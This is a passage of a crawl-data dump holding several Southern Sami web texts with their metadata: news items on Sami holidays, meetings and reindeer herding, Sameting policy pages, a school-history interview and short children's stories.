soptsestalledh. Dellie sjeahta jih daam vuesiehtimmem voestegh vuejnedh, Hanne-Lena Wilkse, Gïelem Nastedh, bievnede.\n– Biejjien niejth, vuesehte govhte væjkeles nyjsenæjjah. Gøøkte dejstie nyjsenæjjijste diekie båetiejægan, gåessie edtjebe jirreden nyjsenæjjan biejjiem heevehtidh.\nLuste guessie åadtjebe Wilkse jeahta –Akte dejstie lea Ragnhild Sparrok Larsen, dihte edtja mijjese beabpmoe jurjiehtidh. Dihte mubpie lea Aina Daneborg Steinfjell, dihte edtja vætnoen bijre soptsestidh jih Maja Dunfjeld edtja tjaalehtjimmen bijre soptsestidh.\nGuktie bist åadtjoen ålmah aaj dahka båatedh?\n– Nov sån, åadtjede, Wilkse føørhkeste. Edtjebe nyjsenæjjan biejjiem heevehtidh, Wilkse jeahta.\nMaarjan biejjie.\nJirreden, njoektjen 25 .b.dihte Maarjan biejjie. Maarjan biejjie akte mïerhkebiejjie saemien biejjie låhkosne. Daan biejjien miesie aaltoen tjåejjien sisnie jårra. Maarjan biejjie aaj dihte biejjie gosse eengkele Gabrijele niejte Maarjan gåajka bøøti jih saarnoeji dihte nåajsan lij, Jeesusinie. Biejjiem aaj heevehtieh goh \"Vaffelebiejjie\" jih \"Vårfrue-biejjie.\"","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.nrk.no\/sapmi\/edtjieh-saemien-nyjsenaejjide-heevehtidh-1.12277294","date":"2017-11-17T23:32:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934804019.50\/warc\/CC-MAIN-20171117223659-20171118003659-00128.warc.gz","language":"sma","language_score":0.9997834563,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.999783456325531}","num_words":152,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saajve-gånkam saangerdi. Prieviem ij lij nuekies. Daelie Elsa tjuara akte gærja tjaeledh aaj, bene guktie edtja dam buektedh? Dïhte ajve uktsie jaepien båeries.\nSaajve-gånkam Elsan prievie lyjhki. Daelie dïhte edtja åadtjodh sov aehtjie jïh onnevïelle Mattias vihth råakedh. Aehtjie! Gylje.\nElsa sov aehtjie jïh onnevïelle batnan onne jaevresne holkesamme. Jis edtja dah guaktah bååstede Saajvegånkeste åadtjodh, dle tjuara barkoem darjodh. Prievie akte gånkese tjaeledh.\nElsa sov aehtjie jïh onnevïelle dåerede ihke gööledh. Aeredsbiejjiem onne jaevrien nelnie guaka jïh Elsa muerjieh tjöönghkeminie. Dle stoerre tjeejskedimmie gåvla. Viehkehth! Manne dabranamme, Mattias...","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/sverigesradio.se\/sida\/avsnitt\/844929?programid=3747","date":"2017-11-25T10:46:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934809746.91\/warc\/CC-MAIN-20171125090503-20171125110503-00455.warc.gz","language":"sma","language_score":0.9999785423,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9999785423278809}","num_words":89,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maehtebe jiehtedh saemiepolitihke lea mïrrestallemepolitihken bïjre. Saemiepolitihke jïh mïrrestallemepolitihke jeenemasth dan seamma ideologijese bigkie gusnie ulmie lea seammagïetedimmie gööktijste jallh jieniebijstie, mah prinsihpen mietie leah mïrrestalleldh guejmieh. Maahta saemieh jallh daaroeh årrodh, gaarmanæjjah jallh nyjsenæjjah, noerh jallh voeresh, homofijlh jallh heterofijlh. Saemiepolitihke edtja krööhkedh jïh meatan vaeltedh gaajhkh guejmieh. Mïrrestalleme jïh seammavyörtegsvoete leah våarome Saemiedigkien barkose. Saemiedigkie sæjhta dan åvteste barkedh mïrrestallemem jïh seammavyörtegsvoetem eevtjedh saaht mij tjoelide, etnisiteetide jïh seksuellevoetide. Mïrrestalleme lea gaajhki siebriedahkesuerkiej bïjre jïh edtja akte sjïehtesjamme bielie Saemiedigkien barkoste årrodh.\nVisjovne: Mïrrestalleldh saemien siebriedahke seamma reaktajgujmie, dïedtigujmie jïh nuepiejgujmie nyjsenæjjide jïh gaarmanæjjide.\nRaerielïhtsege\nKrirrie: NSR\nMïrrestalleme tjoeli gaskem\nSaemiedigkie barka akten mïrrestalleldh saemien siebriedahken åvteste seamma reaktajgujmie, dïedtigujmie jïh nuepiejgujmie gaajhkesidie. Våarome daan barkose lea mïrrestalleme lea gaajhki siebriedahkesuerkiej bïjre, jïh dan åvteste akte sjïehtesjamme bielie mijjen barkoste. Saemiedigkie aktem reektestimmiem tjoelemïrrestallemen bïjre nænnoesti 2012. Reektestimmie bæjjese vaalta ovmessie suerkieh gusnie tjoele maahta heaptojne årrodh mïrrestallemasse. Muvhth suerkieh leah mijjen barkoen bïjre juktie tjoelesïerredimmiem heerredidh sïejhmelaakan. Lissine reektestimmie fokusem beaja vaeljehke suerkide goh tjoeleidentiteete, vædtsoesvoete lïhke fuelhkine jïh seksuellevoete.\nUlmie: Mïrrestalleme edtja meatan vaaltasovvedh gaajhkide politihkesuerkide Saemiedigkien barkosne.\nDaate sæjhta rïektesisnie jiehtedh mijjieh gaajhkine politihkeles prosessine analyseradibie mah konsekvensh politihke maahta åadtjodh nyjsenæjjide jïh gaarmanæjjide. Joekoen vaenie politihke lea aalkoelisnie tjoelenööjtraale. Gosse politihke hammoedamme sjædta jïh sjæjsjalimmieh vaaltasuvvieh, tjoerebe krööhkedh nyjsenæjjaj jïh gaarmanæjjaj joekehts jieledh, nuepieh, sjaavnjoeh jïh daerpiesvoeth. Juktie seammagïetedimmiem buektiehtidh nyjsenæjjijste jïh gaarmanæjjijste dle dan åvteste daerpies ovmessie råajvarimmiejgujmie tjoelide. Aaj vihkeles dovne nyjsenæjjaj jïh gaarmanæjjaj dåarjoe jïh barkoe våajnoes dorjesuvvieh, jïh aarvoem åadtjodh dejnie ovmessie politihkesuerkine.\nMijjen mïrrestallemebarkosne mijjieh aktem ektie dïedtem utnebe viehkiehtidh guktie tsiehkie aalkoealmetjidie mah sïerredamme sjidtieh tjoelen gaavhtan jeatjah lehkesne veartenisnie buerebe sjædta.\nSaemiedigkieraerie sæjhta stïeresne årrodh gaskenasjonaale sijjine gusnie tjoelegyhtjelassh leah teema. Mijjieh sïjhtebe tjoelesïerredimmiem våajnoes darjodh mijjen sïejhme gaskenasjonaale barkosne. Daate barkoe tjuara våaroeminie utnedh tjïelke ulmieh mijjen mïrrestallemepolitihkese, jïh tjuara aktem öörnedamme laavenjostoem aalkoealmetjenyjsenæjjaj gaskem våaroeminie utnedh.\nSametingsrådets likestillingspolitiske redegjørelse\nSametingets handlingsplan for likestilling\nToleranse ovmessie seksuellevoetide\nUlmie: Jååhkesjimmie jïh toleranse homofijlide jïh lesbiskide.\nVaenie ræhpasvoete jeatjah seksuellevoeti bïjre goh heterofilije saemien siebriedahkine. Jïjnjh homofijlh jïh lesbiskh eah doesth ræhpas årrodh sijjen seksuellevoeten bïjre, dan åvteste billieh dejstie reaksjovnijste mejtie sijhtieh siebriedahkeste åadtjodh. Vaanesovmh daamtaj jijhtieh gosse daajroe fååtese. Saemiedigkie tjuara dan åvteste åvtene vaedtsedh juktie jååhkesjimmiem jïh toleransem eevtjedh saemien siebriedahkine ovmessie seksuellevoetide.\nVædtoesvoeten vööste gæmhpodh lïhke fuelhkine\nUlmie: Dovne nyjsenæjjah jïh gaarmanæjjah edtjieh reaktam akten jieliedasse utnedh bielelen vædtsoesvoete jïh aajhtoeh vædtsoesvoeten bïjre, jïh maanah edtjieh reaktam utnedh akten byjjenæmman bielelen daaresjimmie jïh asve.\nVædtsoesvoete lïhke fuelhkine tjarke tsavtsa jïh itjmies konsekvensh åtna dejtie mah dam dååjroeh. Vihkeles tjyölkehke darjodh vædtsoesvoete mij dorjesåvva hïejmesne lea akte byögkeles dïedte. Saemien leerhkehtallijh byöroeh aktem viehkieabparaatem dåastodh mij saemien kultuvrem jïh gielem våaroeminie åtna, gaajhki såarhts vædtsoesvoeti vööste lïhke fuelhkine. Saemiedigkie jïh Justijse- jïh pollisedepartemeente ektesne dotkemereektehtsem «Væsdtoesvoete lïhke fuelhkine saemien siebriedahkine» åehpiedehtieh njoktjen 8.b.\nRapport: «Om du tør å spørre, tør folk å svare» Hjelpeapparatets og politiets erfaringer med vold i nære relasjoner i samiske samfunn","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Mirrestalleme","date":"2017-12-18T20:22:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948623785.97\/warc\/CC-MAIN-20171218200208-20171218222208-00328.warc.gz","language":"sma","language_score":0.9999976158,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.999997615814209}","num_words":489,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjen stilleme\nMijjen stilleme daennie prosjeektesne lea, soptsestallemijstie jïh digkiedimmijste byjjes organisasjovnigujmie, sïjtigujmie jïh tjïeltigujmie, raeriestimmiem darjodh mij våaroemisnie sjædta gosse orre åålmegemiehtjiem tseegkedh dajvesne Bijjie Spædtja-Bealjehkh-Helags. Stillemasse vuajnoeh tjöönghkebe gellie ovmessie ïedtjedåehkijste, ovmessie salkehtimmijste jïh aaj tjåanghkojste mejtie byjjes orreme.\nGosse stilleme nåhka jaepien 2017 minngiegietjesne edtjieh gaajhkh vuajnoeh ektiedidh jïh dan våaroemistie edtja raeriestimmiem vaeltedh jis vijriesåbpoe dejnie barkedh jïh dam skaepiedidh.\nMijjieh edtjebe bïevnesigujmie jïh dialogine barkedh dejgujmie gïeh dajvesne årroeh, berkieh jïh nuhtjieh. Dah mah meatan vuesiehtieh stoerre jïh ïedtjevoete, edtja dastegh åålmegemiehtjiem buerebe hammoeh jïh jååhkesjidh.\nDatne maahtah tsevtsedh\nDialogtjåanghkojne mah mijjieh byjjes almetjigujmie utnebe, ovmessie sijjine dajvesne, mijjieh vuajnoeh jïh gyhtjelassh tjöönghkieh mejtie barkosne nuhtjebe.\nDah vuarjasjimmieh maam tjuara darjodh edtja krööhkestimmine darjodh vaarjelimmievierhtide jïh miehtjiejielede daennie dastegh åålmegemiehtjesne.\nÅvteli maam akt sjæjsjalamme voestegh raeriestieh tematihken dialogdåehkine, dan mænngan vielie dialogtjåanghkoe byjjes almetjidie gyhtjelassine jïh aaj minngiegietjesne remissedåemiedimmine gusnie gaajhkh gïeh sijhtieh åadtjoeh raeriestimmien bïjre maam akt jiehtedh.\nÅvtegoerehtimmeste daelie aelkebe barkedh\nÅvtegoerehtimmeste, maam jaepiej 2012-2014 dorjesovveme, Naturvårdsvierhke jïh Leeneståvroe daelie sjæjsjalin prosjeektem juhtedh mestie maahta orre åålmegemiehtjiem dajvesne sjïdtedh.","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/www.valadalen-sylarna-helags.se\/vart-uppdrag-sam\/","date":"2017-12-17T04:14:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948592972.60\/warc\/CC-MAIN-20171217035328-20171217061328-00423.warc.gz","language":"sma","language_score":0.9999752045,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999752044677734}","num_words":174,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiej Åålmege biejjie jih daate laavvedsbiejjie, hielje. Stoerre gihtjelommes lij, man jijnjh almetjh båetieh? Nåå jaah, båata gie båata, Saemien Sijten åejvie Birgitta Fossume mojjehte.\n– Im vienhth, man gellie båetieh! Laavvedsbiejjie jih Johkemaehkien maarhnade, seamma biejjien, mejtie gie båetieh? Fossume tjoeperde.\nLæjhkan dagkeres tjuatseldh biejjie, sijhtin jijnjh almetjh Saemiej Åålmege biejjiem Snåasesne heevehtidh\nVoestes dam saemiej laavlomem laavloejin, Åarjelsaemiej skuvlen internaaten sjåljoesne. Daan mænngan Saemien Sijte prijhtjegem jih sieties laejpieh bøøri. Akte noereh nïejte Jonna Dunfjeld Mølnvik tuhtjie trøjjes biejjie.\n– Daate lea mijjien biejjie! Åadtjem gaeptiem gaarvoehtidh jih nemhtie, Mølnvike jeahta.\nSnåasen tjïelten åejvieTone Våg, Saemiej åålmegebiejjiem læhkoehti jih Thomas Lyngman Gællok gitaarem spealedi jih joejki.\nDalvedh\nDaelie åadtjoeh nuepiem vuejnedh daam vuesiehtimmiem Dalvedh, maam dihte guvvieh tjiehpedæjja Sissel Bergh jih musihkere Frode Fjellheim dorjeme. Dalvedh lea histovrije burkiestimme jih buerkistimmie vaajesi bijre. Øøhpetimmie jih kultuvre fylhkeraerie Maj Britt Lagesen daam vuesiehtimmiem rïhpesti. Dalvedh maahta Saemien Sijtesne vuejnedh.\nHeamture vaajesh.\nÅarjelsaemien Intenaatesne åadtjoejin dah maanah heamture vaajesh govledh jih daan mængan åadtjejin guvviedidh jih stååkedidh. Jone Kappfjell, Namskoganste, Saemiej Åålmege biejjiem, Snåasesne heevehti. jih daam aaj Elise Jåma, Snåaseste darjoeji.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/saemiej-aalmege-biejjie-snaasesne-1.12791355","date":"2017-12-12T16:25:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948517350.12\/warc\/CC-MAIN-20171212153808-20171212173808-00630.warc.gz","language":"sma","language_score":0.9999451637,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999451637268066}","num_words":180,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie akte nasjonaale parlameente saemide Nöörjesne, jïh reeremeinstitusjovne dejtie byögkeles dïenesjidie mah leah saemien siebriedahken bïjre. Reeremen dïedte jïh laavenjassh leah dam politihkeles daltesem gaagkestidh, jïh viehkiehtidh saemien kultuvrem, gïelem jïh siebriedahkejieledem vaarjelidh jïh evtiedidh.\nOhtsijh sijhtieh tjaalasovveme sjïdtedh byögkeles ohtsijelæstosne. Jis tjeakoesvoeten bïjre birrh, sïjhth bïevnesh dan bïjre åadtjodh åvtelen ohtsijelæstoe bæjhkoehtamme sjædta. Gaajhkh gåaroes barkoeh Saemiedigkesne bæjhkoehtamme sjidtieh daennie sæjrosne jïh aaj sæjrosne JobbNorge.no. Ohtsijh digitaalelaakan seedtesuvvieh sijjien tjïrrh JobbNorge.no.\nHva lette du etter? Din tilbakemelding hjelper oss ålage bedre nettsider.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Gaaaroes-barkoeh","date":"2017-12-18T20:25:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948623785.97\/warc\/CC-MAIN-20171218200208-20171218222208-00616.warc.gz","language":"sma","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.000005841255188}","num_words":83,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien Åålmege edtja daam pensjovniste tjåanghkoem øørnedh. Daan jaepien edtjieh 20 åarjelsaemien pensjovnisth abpe Nøørjeste, Plassjesne gaavnesjidh. Dagkeres tjåanghkoe vihkeles, Saemien Åålmegen diakonebarkije, Bertil Jønssone jeahta.\n– Vuejnebe dam, eah gieh jeatjah dagkeres tjåanghkoem buektedh øørnedh. Tjoeveribie åånetji viehkiedidh, Jønssone jeahta.\nAkten aejkien jaepesne dagkeres tjåanghkoe gusnie dah åarjelsaemien pensjovnisth gaavnesjieh. Ij leah aelhkie beetnegh dagkeres tjåanghkose åadtjodh, Jønssone bievnede.\n– Dah båeries almetjh tjuerieh jijtje gaajhkem maeksedh. Ibie mijjieh naan beetnegh daan tjåanghkose åådtjeme jallh maakseme. Gærhkoe dihte, barre dah skylleme tjåanghkoeh åvteste maaksa, Jønssone bievnede.\nLæjhkan jijnjesh sijhtieh båetedh.\nEktesne murriedidh\nMietsken 19.b. edtjieh Rørosesne gaavnedidh jih 20.b. edtjieh, Vikese, Glåmosen baalte, gusnie edtjieh gaske-bijjiem byøpmedidh jih vaajesh goltelidh.\n– Ibie mijjieh utnieh dagkeres fuehpies provgrammem. Dah båeries almetjh sijhtieh sinsitnene soptsestidh jih noereh baeleste mojhtestehtedh, jih kanne gieh naan båeries gieries-voeten bijre soptsestieh, Jønssone mojjeste.\nNov sån, dah pensjovnisth buektiehtieh lustestalledh jih murriedidh.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/murriedidh-jih-gaavnesjidh-1.12496036","date":"2017-12-16T19:18:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948588420.68\/warc\/CC-MAIN-20171216181940-20171216203940-00752.warc.gz","language":"sma","language_score":0.9999876022,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999876022338867}","num_words":142,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"På norsk Davvisámegillii\nArtihkal girjjis Sámi skuvlahistorjá 1. Davvi Girji 2005.\nThorbjørn Andersen, Aarbortesne 2003\n|Saemien skuvle gaaske Nøørjesne lea annjebodts jih provisorisk orreme abpe tijjem, mohte læjhkan buektiehtamme tjåadtjodh bielie tsiehkie jaepieh. Luhkie tjijhte jaepieh lij rektovren nomme Thorbjørn Andersen. Goh rektovrine orreji jih skuvli åejvine Aarbortesne sjidti, dellie lea aaj skuvlen åvteste barkeme goh lihtsege skuvlen ståavrosne. |\nIj lea Andersene jijtje saemie, mohte joekehts jeatja lohkehtæjjiste guhth leah saemiej skuvline barkeme. Dihte lea saemiej ektine maanabaeliste orreme. Thorbjørn Andersen Svenningdalesne byjjesovvi, kraannatjielte Granese. Andersen lij aerebi voenen skuvlesne barkeme aerebi goh Aarbortese bøøti goh åejvie saemien skuvlese 1954. Daelie lea voerese, lihkemes kraanna saemien skuvlese jih ennje aaj seaktja mij skuvlesne deahpede.\nDaesnie åenehks laakan ållermaahta mij deahpede mearan lij rektovre jaepeste 1954 jaapan 1971.\n- Ij lin maan jijnjh dirregh skuvlesne goh eelkimh. Skuvlen learoe-plaane lij bielie A4-aarhke. Vihkeles lij øøhpiehtimmiem Normaale-plaanen mietie sjiehtesjidh. Ajne gærja mij lij saemien-gielese veadtaldihkie, lij Margarethe Wiigen ABC-e gusnie teekste dovne daaroen jih noerhtesaemien. Juktie idtji gie maehtieh noerhtesaemien lohkedh, dellie tjoeverimh dam daaroen teekstem provhkedh. Idtjin naan njoelkedassh gååvnesh mah buerkiestin guktie saemien gielem juvnehtidh. Skuvlen direktøøre Noerhtelaantesne, munnjien byjjehti ij lij luhpie saemien gielem skuvlesne provhkedh. Mohte gåetien iemede meehti saemiestidh jis sijhti.\nSaemien-misjovne aaj Aarbortem moeni goh jåarhke Havikese. Almetjh misjovnen luvhtie luhpiem åadtjoejin Aarbortese båetedh jih jupmelen bijre soptsestidh goh skuvle-biejjieh vaaseme. Learohkh jijtje eajhnadovvin mejtie sijhtin vaedtsedh goltelidh, mohte gallesh veedtsin. Striengkies limh, juktie idtjin dah åadtjoeh skuvlen sisvegem sturredh.\nBeetneh-vierhtieh Vadsøen baaktoe bøøtin. Skuvle-direktøøren diedte lij gaajhkide internatide juhtiehtidh jih Aarborte lij ajne internate Finnmarken bæjngoelisnie. Ij lij naan \"Staaten-bigkeme\" dellie. Mijjieh tjoeverimh gaajhkine øørnedh. Gellien aejkien mijjieh maam joem aelkiehtimh jih laejhtemem mænngan dåastoehtimh.\nDan gaavhtan vueptiestimh ståvroe skuvlese daerpies. Mohte ij lij Staate mijjine disse siemesh. Dihte sijhti skuvlem orrejehtedh jih daate jiehtese lij maadth-skuvlen laakese veadaldihkie.Naaken dejstie almetjistie Departementesne lin goh dåarohkh mijjen vøøste.\nMearan manne lim rektovre abpe skuvle lij akte stoerre gåetie gusnie dovne klaassetjiehtjelh, internate, kontovrh jih gåetie rektovrese jih dejtie jeatja barkejidie. Daate lij aaj støøremes sijjie voenesne guktie skuvle aaj sjiehti goh kultuvre-gåetie jih gærhkoe.\n|Learohkh Saemien skuvlesne, 1957\/58 |\n(Guvvie: Grete Austad)\nMijjen lin learohkh dovne Elgåeste, Hedemarkeste jih Sagfjordbotnistie, Fausken noerhtelen. Jeenemes dejstie learohkijste internatesne jieliejin, mohte naaken dejstie saemien maanijste Aarborteste, gåetesne årroejin. Buerie baakoeh skuvlen bijre juhtiejin jih learohkh lin væjkeles. Dihte nimhtie darjoeji juktie learohkh voeneste mah ij lin saemieh, aaj mijjen skuvlesne sijhtin vaedtsedh. Naaken åadtjoejin aelkedh, mohte ij lij mijjen sijjie gaajhksidie juktie saemien learohkh voestes sæjjan bøøtin.\nGoh idtjim saemien gielem åadtjoeh tæjmoe-plaanese biejedh, mijjieh tjoeverimh dam gåetiemaahtose tjeakoes laakan biejedh. Nimhtie Nils O.Kappfjellem (Gaebpien Næjla) leejimh goh lohkehtæjja. Mohte ij lij ennje åarjelh-saemien giele sjiere njoelkedassh åådtjeme guktie tjaeledh, guktie øøhpehtimmie ajve njaalmeld sjidti. Nimhtie idtji naan baakoeh åadtjoeh tjaeledh gænnah. Gosse giete-vætnoe, dellie Lars Dunfjell (Dååvnesen Laara) desnie naan aejkien guessine saemiej vætnoej bijre soptsestidh jih aaj vuesiehtidh.\n- Dihte vihkeles munnjien sjidti åarjelh-saemide eensi skuvlem øørnedh. Jih gosse lim aalkeme, idtjim sijhth sovhkedidh. Manne murriedim, sijhtim soejkesjem åvtese juhtiehtidh. Væjkeles almetjigujmie aaj åadtjoejim barkedh, guktie Nils O. Kappfjell, Anna Dærga, Anton Lifjell jih Anselm gonnoeh Elsa Jåma. Dah lin daejreme almetjh guht åvtese, daaletje biejjide vuartasjin.\nIbie maehtieh skuvlen bijre soptsestidh jis ibie Anna Jacobsen bijre aaj. Dihte lea joekoen vihkeles skuvlese orreme jih aaj åarjelh-saemien gielen øøvtiedæmman. Aanna lij dihte voestes lohkehtæjja skuvlesne gie lij saemien lohkeme. Skuvle lij saemien gielem tæjmoeplaanese åådtjeme guktie ij lij vielie daerpies dam tjeakoes laakan vøørhkedh goh gåetien maahtoe. Goh Anna bøøti, dellie aaj tjaaleld øøhpehtimmie sjidti.\nDihte lij aaj åvtehke goh mijjieh Departementesne minnimh jih gihtjimh jijtjte-ståvroen mietie jih aaj mejtie skuvle meehti staeries juhtielasse båetedh.Dihte lij joekoen vihkeles skuvlese. Mænngan Anna Sijti Jarngesne, mij lea skuvlen baalte, barkoem åadtjoeji. Dellie eadtjohke laakan barki guktie kuvsjh åarjelh-saemien gielesne lohkehtæjjide øørnesovvin.\nJeatjah tjaalegh gærjeste Saemien skuvle-vaajese 1","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/skuvla.info\/skolehist\/thorbj-s.htm","date":"2018-01-19T13:27:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887981.42\/warc\/CC-MAIN-20180119125144-20180119145144-00263.warc.gz","language":"sma","language_score":0.9999552965,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999552965164185}","num_words":627,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Namdal bruk håhkesje dihte soejkesje barkoe « Destinasjon Skorovas» daan jaepien riejries sjædta. Dellie maehtebe bievnedh jih gåetiesijjede mubpien jaapan doekedh.\nSkorovatn: – Daate lea åssjalomme orreme, daelie vuejnebe mij daestie Destinasjon Skorovas sjædta, jeahta investore jih aajhtere Ola Mæle, daan Namdalsavisan plaerese. www.namdalsavisa.no\/Nyhet\/article7585501.ece gåessie soejkesjemme barkoem Namskogan jih Raarvijhken tjïeltide bievnedi.\nAlmetjh tjuerieh maeksedh.\nJis daate hæhtjoe dajve edtja Skorvasne sjidtedh, dellie almetjh Trøøndelaagesne jih åarjel Helgelaantesne tjuerieh ïedtjelgovvedh ,hæhtjoe sijjiem åestedh.\n– Ibie gaajhk 1000 hæhtjoeh dallegh bigkh. 1000 fuelhkieh edtjieh hæhtjoem dah båetijen 20 jaepien bigkedh. Mijjieh edtjebe dah gåetie sijjieh øørnedh, jeahta Mæle.\nMæle jeahta, jijnjes sijhtieh beetnegh nuhtjedh jih eatnemen lïhke årrodh jih vaeresne eejehtidh.\n– Dah mah vaeresne vaanterdieh, daelvegen tjuejkieh, jih tjaktjen vijreminie. Dejtie almetjidie sïjhtebe Skorvase.\nTjåahkeren Sijte vuestele.\nSkorvase lea Tjåahkeren rihrehkesnie, daate øøvre gåarhmede sjædta, jeahta Tjåahkeren sijten åvtehke Algot Jåma.\n– Mijjieh daam vuestielibie. Eah leah eensi, konsekvense goerehtimmem dorjeme. Daate gaajh nåake båatsose sjædta jeahta Algot Jåma\nMagkeres tjoeperh daatne vuajna, jis daejtie hæhtjojde bigkieh?\n– Eah leah ajve dah hæhtjoeh, gaajhk almetjh mij vaaran båetieh jih bovtside sturrieh. Dihte barkeme mij bïjre- jarkan sjædta, dihte vïerremes, jeahta Algot Jåma.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/haehtjoe-dajve-skorovasne-1.11935142","date":"2018-01-17T00:08:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886758.34\/warc\/CC-MAIN-20180116224019-20180117004019-00654.warc.gz","language":"sma","language_score":0.9999111891,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999111890792847}","num_words":183,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerhte-trööndelagen båatsoe konferaanse daan jaepien 15-16.3. 2016 Tingvold Park hotellesne Stïentjesne. Daan jaepien daan aamhtesen bijre raarastellieh, Gåessie noerh boelve aalka.\nDah noerh tjuerieh ïedtjeles årrodh jih maahtoem dååsteme, båeries boelveste jis båatsoem edtjieh åvte beajjan evtiedidh.\nDaate tjåanghkoe edtja orre tïjjen mietie mietiedidh jih daam reereles\/administratijve barkoem vuesiehtidh. Mubpie tjåanghkoe biejjien, edtjieh daejtie sïjti soejkesjh jih eatneme nuhtjeme kaarhten bïjre rååresjidh jih guktie gåarede bovtsen bearkoem doekedh.\nDaate tjåanghkoe daerpies, jïjnjesh sijhtieh båetedh jih daan jaepien daate tjåanghkoe noerh boelven båatsoe saemide, Noerhte Trööndelaagen fylhken ålma bievnede.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.nrk.no\/sapmi\/orre-boelven-baatsoe-burrijh-1.12852593","date":"2018-02-25T12:14:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891816370.72\/warc\/CC-MAIN-20180225110552-20180225130552-00303.warc.gz","language":"sma","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000065565109253}","num_words":86,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mierehke lij kraannan luvnie guessine. Iehkeden goh edtja gåetide vaedtsedh, dellie lij råanjeminie jis. Ij lih Mierehken bierjese jih ij ebrievaarjoe.\n«Daesnie gujht maahtah åeredh, dellie ih daarpesjh lovvedh,» kraanna jeahta.\nJaa, Mierehke gujht utniej hijven dihte.\nKraanna tjøøkese vaadtsa gåmmebem stillie guassan laetjedh. Goh ståapose bååstede båata, dellie Mierehke gaarvanamme. Kraanna idtji guarkah gåabph lij sjidteme. Ånnetji dle oksese beenghkie, jih ålkoelisnie Mierehke tjåadtjoeminie øøvre lovves, njarhtjan.\n«Saamoeh amma gusnie datne jis minneme?» kraanna gihtjie.\n«Manne barre gåetesne minnim gåmmese jeehtim manne daesnie jijjehtovvem. Idtjim sijhth edtja mov gaavhtan vaajvedh.»\nJarkoestæjjah: Jaahkenelkien Aanna\nVaangbergen Å 